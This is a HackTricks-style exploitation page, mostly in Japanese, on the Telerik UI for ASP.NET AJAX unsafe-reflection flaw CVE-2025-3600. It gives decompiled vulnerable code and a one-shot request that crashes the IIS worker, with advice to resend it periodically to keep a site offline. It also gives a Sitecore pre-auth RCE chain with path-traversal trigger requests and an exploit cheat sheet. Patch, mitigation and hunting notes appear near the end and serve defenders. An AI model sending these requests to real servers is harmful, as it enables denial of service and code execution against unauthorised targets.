Telerik UI for ASP.NET AJAX – Unsafe Reflection via WebResource.axd (type=iec)
Reading time: 11 minutes
tip
AWSハッキングを学び、実践する:
HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:
HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。
Pre‑auth constructor execution in Telerik UI for ASP.NET AJAX Image Editor cache handler はユニバーサルな DoS を引き起こし、多くのアプリではターゲット固有の gadgets を悪用することで pre‑auth RCE を可能にします (CVE-2025-3600)。
TL;DR
- Affected component/route: Telerik.Web.UI.WebResource.axd with query type=iec (Image Editor cache handler)。多くの製品で pre‑auth に晒されています。
- Primitive: 攻撃者が型名 (prtype) を制御します。ハンドラはそれを Type.GetType() で解決し、interface の型安全性を検証する前に Activator.CreateInstance() を呼び出します。public なパラメータ無しの .NET 型コンストラクタは実行されます。
- Impact:
- ユニバーサルな pre‑auth DoS(.NET framework の gadget、例: PowerShell WSMan finalizer を利用)。
- 多くの実運用環境では、アプリ固有の gadgets(特に安全でない AppDomain.AssemblyResolve ハンドラなど)を悪用して pre‑auth RCE にエスカレートすることが多いです。
- Fix: Telerik UI for ASP.NET AJAX を 2025.1.416+ にアップデートするか、ハンドラを削除/ロックしてください。
Affected versions
- Telerik UI for ASP.NET AJAX versions 2011.2.712 through 2025.1.218 (inclusive) が脆弱です。
- Fixed in 2025.1.416 (released 2025-04-30)。直ちにパッチを適用するかハンドラを削除/ロックダウンしてください。
Affected surface and quick discovery
- チェック方法:
- GET /Telerik.Web.UI.WebResource.axd が 404/403 以外を返す場合、ハンドラが接続されています。
- web.config を確認し、Telerik.Web.UI.WebResource.axd にマップされた handlers を探します。
- 脆弱なコードパスをトリガーするには: type=iec, dkey=1, および prtype=
が必要です。
Example probe and generic trigger:
GET /Telerik.Web.UI.WebResource.axd?type=iec&dkey=1&prtype=Namespace.Type, Assembly
注意
- 一部の PoCs は dtype を使用します; 実装はダウンロードフローで dkey=="1" をチェックします。
- prtype は assembly-qualified であるか、現在の AppDomain で解決可能である必要があります。
根本原因 – unsafe reflection in ImageEditorCacheHandler
Image Editor のキャッシュダウンロードフローは prtype で指定された型のインスタンスを生成し、後でそれを ICacheImageProvider にキャストしてダウンロードキーを検証します。検証が失敗する時点では、コンストラクタは既に実行されています。
関連する逆コンパイル済みフロー
// entrypoint
public void ProcessRequest(HttpContext context)
{
string text = context.Request["dkey"]; // dkey
string text2 = context.Request.Form["encryptedDownloadKey"]; // download key
...
if (this.IsDownloadedFromImageProvider(text)) // effectively dkey == "1"
{
ICacheImageProvider imageProvider = this.GetImageProvider(context); // instantiation happens here
string key = context.Request["key"];
if (text == "1" && !this.IsValidDownloadKey(text2))
{
this.CompleteAsBadRequest(context.ApplicationInstance);
return; // cast/check happens after ctor has already run
}
using (EditableImage editableImage = imageProvider.Retrieve(key))
{
this.SendImage(editableImage, context, text, fileName);
}
}
}
private ICacheImageProvider GetImageProvider(HttpContext context)
{
if (!string.IsNullOrEmpty(context.Request["prtype"]))
{
return RadImageEditor.InitCacheImageProvider(
RadImageEditor.GetICacheImageProviderType(context.Request["prtype"]) // [A]
);
}
...
}
public static Type GetICacheImageProviderType(string imageProviderTypeName)
{
return Type.GetType(string.IsNullOrEmpty(imageProviderTypeName) ?
typeof(CacheImageProvider).FullName : imageProviderTypeName); // [B]
}
protected internal static ICacheImageProvider InitCacheImageProvider(Type t)
{
// unsafe: construct before enforcing interface type-safety
return (ICacheImageProvider)Activator.CreateInstance(t); // [C]
}
Exploit primitive: 制御された型文字列 → Type.GetType が解決し → Activator.CreateInstance が public のパラメータなしコンストラクタを実行します。リクエストがその後拒否されても、gadget の副作用は既に発生しています。
Universal DoS gadget (no app-specific gadgets required)
Class: System.Management.Automation.Remoting.WSManPluginManagedEntryInstanceWrapper in System.Management.Automation (PowerShell) は、未初期化のハンドルを破棄するファイナライザを持っており、GC がファイナライズすると未処理の例外を引き起こします。これにより、インスタンス化後まもなく IIS ワーカープロセスが確実にクラッシュします。
One‑shot DoS request:
GET /Telerik.Web.UI.WebResource.axd?type=iec&dkey=1&prtype=System.Management.Automation.Remoting.WSManPluginManagedEntryInstanceWrapper,+System.Management.Automation,+Version%3d3.0.0.0,+Culture%3dneutral,+PublicKeyToken%3d31bf3856ad364e35
注意
- サイトをオフラインのままにするために定期的に送信を続ける。debuggerでconstructorがヒットするのを観察できる場合がある;クラッシュはfinalization時に発生する。
DoSからRCEへ – エスカレーションパターン
Unsafe constructor execution により、ターゲット固有の多数のガジェットやチェーンが利用可能になる。以下を探す:
- Parameterless constructors that process attacker input
- 一部の ctors(または static initializers)は即座に Request query/body/cookies/headers を読み取り、それらを (de)serialize する。
- 例(Sitecore):ctor チェーンが GetLayoutDefinition() に到達し、HTTP body の "layout" を読み取り、JSON.NET を介して JSON をデシリアライズする。
- Constructors that touch files
- Ctros がディスクから config/blobs をロードまたはデシリアライズする場合、これらのパス(uploads/temp/data フォルダなど)に書き込み可能なら強制できる。
- Constructors performing app-specific ops
- 状態のリセット、モジュールの切り替え、またはプロセスの終了。
- Constructors/static ctors that register AppDomain event handlers
- 多くのアプリは AppDomain.CurrentDomain.AssemblyResolve ハンドラを追加し、args.Name から DLL パスを組み立てるがサニタイズしない。type resolution に影響を与えられるなら、attacker‑controlled paths から任意の DLL ロードを強制できる。
- Forcing AssemblyResolve via Type.GetType
- Type.GetType を介して AssemblyResolve を強制する
Request で存在しない型を要求して CLR 解決を強制し、登録された(場合によっては安全でない)リゾルバを呼び出す。例: assembly-qualified name:
This.Class.Does.Not.Exist, watchTowr
- 破壊的な副作用を持つファイナライザ
- 一部の型はファイナライザ内で固定パスのファイルを削除します。シンボリックリンク追従や予測可能なパスと組み合わせると、特定の環境でローカル権限昇格を引き起こす可能性があります。
例 — pre‑auth RCE chain (Sitecore XP)
- ステップ 1 – Pre‑auth: static/instance ctor が安全でない AssemblyResolve handler を登録する型をトリガーする (e.g., Sitecore’s FolderControlSource in ControlFactory).
- ステップ 2 – Post‑auth: resolver-probed directory への書き込み権を取得(例: 認証バイパスや弱いアップロード経由)して、悪意のある DLL を配置する。
- ステップ 3 – Pre‑auth: 存在しない型とトラバーサルを含む assembly 名を用いて CVE‑2025‑3600 を悪用し、リゾルバに植えた DLL をロードさせる → IIS ワーカーとしてコード実行。
トリガーの例
# Load the insecure resolver (no auth on many setups)
GET /-/xaml/Sitecore.Shell.Xaml.WebControl
# Coerce the resolver via Telerik unsafe reflection
GET /Telerik.Web.UI.WebResource.axd?type=iec&dkey=1&prtype=watchTowr.poc,+../../../../../../../../../watchTowr
検証、ハンティング、DFIR のメモ
- Safe lab validation: DoS ペイロードを発動し、WSMan finalizer に関連する app pool のリサイクルや未処理例外を監視する。
- テレメトリでの探索:
- type=iec および不審な prtype 値を伴う /Telerik.Web.UI.WebResource.axd へのリクエスト。
- 型のロード失敗や AppDomain.AssemblyResolve イベント。
- そのようなリクエスト後の突発的な w3wp.exe のクラッシュ/リサイクル。
Mitigation
- Telerik UI for ASP.NET AJAX を 2025.1.416 以降にパッチ適用する。
- 可能な限り Telerik.Web.UI.WebResource.axd の公開を削除または制限する(WAF/rewrites)。
- サーバ側で prtype の処理を無視するか強化する(アップグレードではインスタンス化前に適切なチェックを行う)。
- カスタム AppDomain.AssemblyResolve ハンドラを監査し強化する。args.Name からサニタイズせずにパスを生成することは避け、strong-named のロードやホワイトリストを優先する。
- アップロード/書き込み先を制限し、プローブされるディレクトリへの DLL のドロップを防止する。
- 存在しない型のロード試行を監視して、resolver の悪用を検出する。
チートシート
- 存在確認:
- GET /Telerik.Web.UI.WebResource.axd
- web.config にハンドラのマッピングを確認する
- Exploit skeleton:
GET /Telerik.Web.UI.WebResource.axd?type=iec&dkey=1&prtype=<TypeName,+Assembly,+Version=..., +PublicKeyToken=...>
- Universal DoS:
...&prtype=System.Management.Automation.Remoting.WSManPluginManagedEntryInstanceWrapper,+System.Management.Automation,+Version%3d3.0.0.0,+Culture%3dneutral,+PublicKeyToken%3d31bf3856ad364e35
- トリガーリゾルバ:
This.Class.Does.Not.Exist, watchTowr
関連技術
- IIS post-exploitation, .NET key extraction, and in‑memory loaders:
IIS - Internet Information Services
- ASP.NET ViewState deserialization and machineKey abuses:
Exploiting __VIEWSTATE without knowing the secrets
参考資料
- watchTowr labs – More than DoS: Progress Telerik UI for ASP.NET AJAX Unsafe Reflection (CVE-2025-3600)
- Black Hat USA 2019 – SSO Wars: The Token Menace (Mirosh & Muñoz) – DoS gadget background
- ZDI – Abusing arbitrary file deletes to escalate privilege
- watchTowr – Is “B” for Backdoor? (Sitecore chain CVE-2025-34509)
tip
AWSハッキングを学び、実践する:
HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:
HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。
HackTricks